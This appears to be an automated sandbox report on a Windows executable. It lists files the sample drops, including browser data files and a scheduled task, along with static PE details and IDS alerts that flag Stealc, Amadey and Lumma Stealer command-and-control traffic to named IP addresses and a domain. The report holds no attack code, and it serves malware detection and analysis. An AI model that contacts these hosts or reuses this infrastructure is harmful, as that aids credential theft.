SHA-512:	71EE4B1D539C4678A76CA7F246D5C4050DEAF2E72C09E44079A3881E9C71264A0967CAD5D27A5523E3879E26CB922135500A176D4DA9B4805F390F2F4F3B4830
Malicious:	false
Reputation:	unknown
Preview:	L..................F.@.. ...$+.,.......Nq7..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.IoY.z....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VoY.z....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VoY.z....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VoY.z..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VoY.z...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........<N.p.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Fri Nov 15 14:16:13 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2679
Entropy (8bit):	3.9897003645914144
Encrypted:	false
SSDEEP:	48:8QdeTam+HzidAKZdA1weh/iZUkAQkqehZxy+2:8JHA9QCy
MD5:	A6B77419628D6A41C5829E030CCA094B
SHA1:	2552CDCD4103F69049BA418451C9E2B730AB3456
SHA-256:	D9BB31050DF6B6FFC1644C5F00BB2A567437AB67E0E8384A16F405384082ED2B
SHA-512:	A214E3E2F8CFA8F18CC3D32455FEBF1BEEF27275BE3C085C4F40F7F2F1A88D314D587A3E0F6DB599BD9CC9D3C4F5BA64A6951C1D00AD22B462960F816436CD4F
Malicious:	false
Reputation:	unknown
Preview:	L..................F.@.. ...$+.,.....#.Nq7..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.IoY.z....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VoY.z....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VoY.z....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VoY.z..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VoY.z...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........<N.p.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Wed Oct 4 12:54:07 2023, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2693
Entropy (8bit):	4.001523694405458
Encrypted:	false
SSDEEP:	48:8xvdeTamsHzidAKZdA14tseh7sFiZUkmgqeh7sXxy+BX:8xoHSn3y
MD5:	FB8978572FB448B61EFDA97970F50A86
SHA1:	D773DF40B4E51FFFDEC2826610A03D9697B37F78
SHA-256:	097DF6EB3F2AA4F6529F94A11D791C761BA333BCC23869D7457E3F74C4F3D93A
SHA-512:	93F6AF6ACD14CA5332F42DBEB66A36FBE050214D6D47C0D6647A32B166E4B474881112F5F32520ECA55A917CFB8C1EA3835316CBBB21DBFEE4973E9F8AF1BA91
Malicious:	false
Reputation:	unknown
Preview:	L..................F.@.. ...$+.,......e>....N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.IoY.z....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VoY.z....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VoY.z....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VoY.z..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VDW.n...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........<N.p.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Fri Nov 15 14:16:13 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2681
Entropy (8bit):	3.9878326340351866
Encrypted:	false
SSDEEP:	48:8YdeTam+HzidAKZdA1vehDiZUkwqehdxy+R:8RHLpy
MD5:	567BFBB93F7F6A890C9720D7C7E3BB6D
SHA1:	B0D717562C936274C41396F00C467284717B487D
SHA-256:	721C772177438904719B08921783C54A4AACF6F887C4201469A873491D086EC7
SHA-512:	9336C4EAB26321CD4824592D87246499B0D4C6C792C6D72AA449AB7D6397CC863E3518D1B29A603C2C378351A5A787E5A7D8A62D6D276C1334556E1EA47A9189
Malicious:	false
Reputation:	unknown
Preview:	L..................F.@.. ...$+.,.....c.Nq7..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.IoY.z....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VoY.z....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VoY.z....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VoY.z..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VoY.z...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........<N.p.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Fri Nov 15 14:16:13 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2681
Entropy (8bit):	3.977026997558782
Encrypted:	false
SSDEEP:	48:8bdeTam+HzidAKZdA1hehBiZUk1W1qehTxy+C:8EHL9ly
MD5:	EA9618AB057CBD4EF507B029C3CE669B
SHA1:	FEE8C8CE71D5EEC195B3DD32F575C06E95DCC343
SHA-256:	9D57A13A42F8EB89D1D0E9F88BF8CC01879DF1A122F489CFC2BF4B685FAB84FF
SHA-512:	11E3D0BDAF9B2B0DDD1619DD57A87825691E430DA856FDA053D51836ACDBC0314E15032E95E677BF6976A68207B4C966A04607EE1D071062EBF9941DD76D7672
Malicious:	false
Reputation:	unknown
Preview:	L..................F.@.. ...$+.,.....,.Nq7..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.IoY.z....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VoY.z....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VoY.z....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VoY.z..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VoY.z...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........<N.p.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Fri Nov 15 14:16:13 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2683
Entropy (8bit):	3.9852564252790463
Encrypted:	false
SSDEEP:	48:8OdeTam+HzidAKZdA1duT+ehOuTbbiZUk5OjqehOuTblxy+yT+:8fHrT/TbxWOvTb3y7T
MD5:	A7FA76F7D8322AC7A6D568AC66A9838F
SHA1:	6AA5B9F75B654F6FAD493DD269D5DE789DA8DF50
SHA-256:	6F68DD8C698BF033CEFEC3D960EDCC2A8AFF37769761508687463BD71DD46737
SHA-512:	E4CC37404363062DECB8CF8FF6D7EC16C78B2B95F27CA3B9AD8017AA7D6E8EA4A8C9B585EC68A6F519132CAB2D6D437E611F3A9AA965ABCE4139C3DCA8AF1911
Malicious:	false
Reputation:	unknown
Preview:	L..................F.@.. ...$+.,....T&.Nq7..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.IoY.z....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VoY.z....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VoY.z....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VoY.z..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VoY.z...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........<N.p.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Reputation:	unknown
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Reputation:	unknown
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\DocumentsGHIDGDHCGC.exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	3255808
Entropy (8bit):	6.664418544530714
Encrypted:	false
SSDEEP:	49152:hoSQiwTUp3N57tv1RWM65ZNRizKacCBB3cdEYzMDek:xQrTS3NJx2p3NAzDjBVuEYxk
MD5:	00C0358385D6AE38BBB01A8AE4671488
SHA1:	4EF5087B146F94CEB84F1BA2D58A17831CF5317F
SHA-256:	F2DCC9F8B6E1B4F53548E4C05BB3E618090AB3D16D263584723644A32CBF9DC3
SHA-512:	EC616D518B45710C7BC20FCCE4C539FB5BC818083A4B127134ED3BC747EBE8DD1CCCE1984B3280A6AB12B60113839ABC4D066E9D262F6EDCD4791A75183D78EB
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C.........................PE..L....V.f..............................1...........@...........................1.......1...@.................................W...k.......H...................8.1..............................1..................................................... . ............................@....rsrc...H...........................@....idata ............................@...hqrrjeyx..........................@...ohdidvea......1.......1.............@....taggant.0....1.."....1.............@...........................................................................................................................................................................................................................................................

C:\Windows\Tasks\skotes.job

Download File

Process:	C:\Users\user\DocumentsGHIDGDHCGC.exe
File Type:	data
Category:	dropped
Size (bytes):	290
Entropy (8bit):	3.3937419097951027
Encrypted:	false
SSDEEP:	6:o457ITX55ZsUEZ+lX1CGdKUe6tFXqYEp5t/uy0lB6ct0:o45ETuQ1CGAFifXVB6ct0
MD5:	D4C10F273AB46BCC1541AD4D0498C717
SHA1:	EE031ED11828AA78473F05291CD7AD7CA9953A82
SHA-256:	A69438C4242449BEB5F538A8422268300CC75419ED1A6455AB0FF351B37FB16E
SHA-512:	48E5DB95A832764CE1C62C5FCC36AC11300089DEE7E4712D24CF17F88AA0B5390894F68709E35DFB5E59CAF5C0AF8FDEBA7854249F8121E3C2251DA0C1967C9F
Malicious:	false
Reputation:	unknown
Preview:	....<.P.QO=J...A2^.F.......<... .....s.......... ....................9.C.:.\.U.s.e.r.s.\.a.l.f.o.n.s.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.T.e.m.p.\.a.b.c.3.b.c.1.9.8.5.\.s.k.o.t.e.s...e.x.e.........A.L.F.O.N.S.-.P.C.\.a.l.f.o.n.s...................0...................@3P.........................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.946662085050102
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	1'822'720 bytes
MD5:	2f9ce4f5d569b97571847c93c0fbea69
SHA1:	d01078627f0bb0442f27536b90a5d8eee50455b0
SHA256:	cf6d8b136d1aa904232f925e014fcd9c448ed211005daabfc9b2dc9eacd30361
SHA512:	2c4060cd34ac025f7d3a3e718f3901c3aedcb7585d57bce8001605839a866290bea2925e3cef5d5e516386e03d0fcb8bfcfaa96f985cd8534c2b9978f50a5969
SSDEEP:	24576:3xthPGb366+kvx7SppO17XNDiZZ3xZgvr+lPQBYvHqsO+cAjXVaZatNh3BjhBCB:3hV6nEppOlXNOkrIY8qsPDXbn1B3y
TLSH:	E785338D08439827C36EC4F8BCF6912E679E051C513EAB6B967BFA21C426F17A00D75D
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........8...k...k...k..'k...k...k...k..&k...k...k...k...k...k...j...k...k...k..#k...k...k...kRich...k........................PE..L..

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0xaa0000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x672FC34F [Sat Nov 9 20:17:19 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	1
File Version Major:	5
File Version Minor:	1
Subsystem Version Major:	5
Subsystem Version Minor:	1
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007F10550EAA3Ah
stmxcsr dword ptr [ebx]
add byte ptr [eax], al
add byte ptr [eax], al
add cl, ch
add byte ptr [eax], ah
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Rich Headers

Programming Language:

[C++] VS2010 build 30319
[ASM] VS2010 build 30319
[ C ] VS2010 build 30319
[ C ] VS2008 SP1 build 30729
[IMP] VS2008 SP1 build 30729
[LNK] VS2010 build 30319

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x24b04d	0x61	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x0	0x0
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x24b1f8	0x8	.idata
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x249000	0x16200	39b0558b7eda44c428a8f77478c62403	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x24a000	0x1000	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x24b000	0x1000	0x200	0d0399d83a742d5d86c5718841e8e842	False	0.134765625	data	0.8646718654202081	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x24c000	0x2af000	0x200	e028e3c2864a52918670c907b5e434ac	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
qtucxrez	0x4fb000	0x1a4000	0x1a3200	5d26eb5f72657621d8ca1b5638e08447	False	0.9950423361541902	data	7.955206405527107	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
khcuhpfk	0x69f000	0x1000	0x600	66c23d2a4d175fa2a2cdcc065edd8044	False	0.5442708333333334	data	4.803511885542428	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x6a0000	0x3000	0x2200	80cf0fe837a6b012db7ec13cdde9e66e	False	0.03699448529411765	DOS executable (COM)	0.2781205459984037	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Imports

DLL	Import
kernel32.dll	lstrcpy

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-11-15T16:16:06.817718+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.5	49704	185.215.113.206	80	TCP
2024-11-15T16:16:07.105978+0100	2044244	ET MALWARE Win32/Stealc Requesting browsers Config from C2	1	192.168.2.5	49704	185.215.113.206	80	TCP
2024-11-15T16:16:07.112289+0100	2044245	ET MALWARE Win32/Stealc Active C2 Responding with browsers Config	1	185.215.113.206	80	192.168.2.5	49704	TCP
2024-11-15T16:16:07.393124+0100	2044246	ET MALWARE Win32/Stealc Requesting plugins Config from C2	1	192.168.2.5	49704	185.215.113.206	80	TCP
2024-11-15T16:16:07.399936+0100	2044247	ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config	1	185.215.113.206	80	192.168.2.5	49704	TCP
2024-11-15T16:16:08.515104+0100	2044248	ET MALWARE Win32/Stealc Submitting System Information to C2	1	192.168.2.5	49704	185.215.113.206	80	TCP
2024-11-15T16:16:09.039793+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	49704	185.215.113.206	80	TCP
2024-11-15T16:16:28.678443+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	49759	185.215.113.206	80	TCP
2024-11-15T16:16:29.908197+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	49759	185.215.113.206	80	TCP
2024-11-15T16:16:30.538092+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	49759	185.215.113.206	80	TCP
2024-11-15T16:16:31.134562+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	49759	185.215.113.206	80	TCP
2024-11-15T16:16:32.521376+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	49759	185.215.113.206	80	TCP
2024-11-15T16:16:33.010271+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	49759	185.215.113.206	80	TCP
2024-11-15T16:16:38.052796+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	49913	185.215.113.16	80	TCP
2024-11-15T16:17:05.308193+0100	2856147	ETPRO MALWARE Amadey CnC Activity M3	1	192.168.2.5	49992	185.215.113.43	80	TCP
2024-11-15T16:17:08.685008+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	49994	31.41.244.11	80	TCP
2024-11-15T16:17:12.978023+0100	2856122	ETPRO MALWARE Amadey CnC Response M1	1	185.215.113.43	80	192.168.2.5	49993	TCP
2024-11-15T16:17:13.893626+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.5	49995	185.215.113.43	80	TCP
2024-11-15T16:17:14.826335+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	49997	185.215.113.16	80	TCP
2024-11-15T16:17:18.468593+0100	2057396	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (frogmen-smell .sbs)	1	192.168.2.5	59350	1.1.1.1	53	UDP
2024-11-15T16:17:19.346116+0100	2057397	ET MALWARE Observed Win32/Lumma Stealer Related Domain (frogmen-smell .sbs in TLS SNI)	1	192.168.2.5	49999	104.21.80.55	443	TCP
2024-11-15T16:17:19.346116+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49999	104.21.80.55	443	TCP
2024-11-15T16:17:19.601970+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.5	49998	185.215.113.43	80	TCP
2024-11-15T16:17:20.145220+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.5	49999	104.21.80.55	443	TCP
2024-11-15T16:17:20.145220+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.5	49999	104.21.80.55	443	TCP
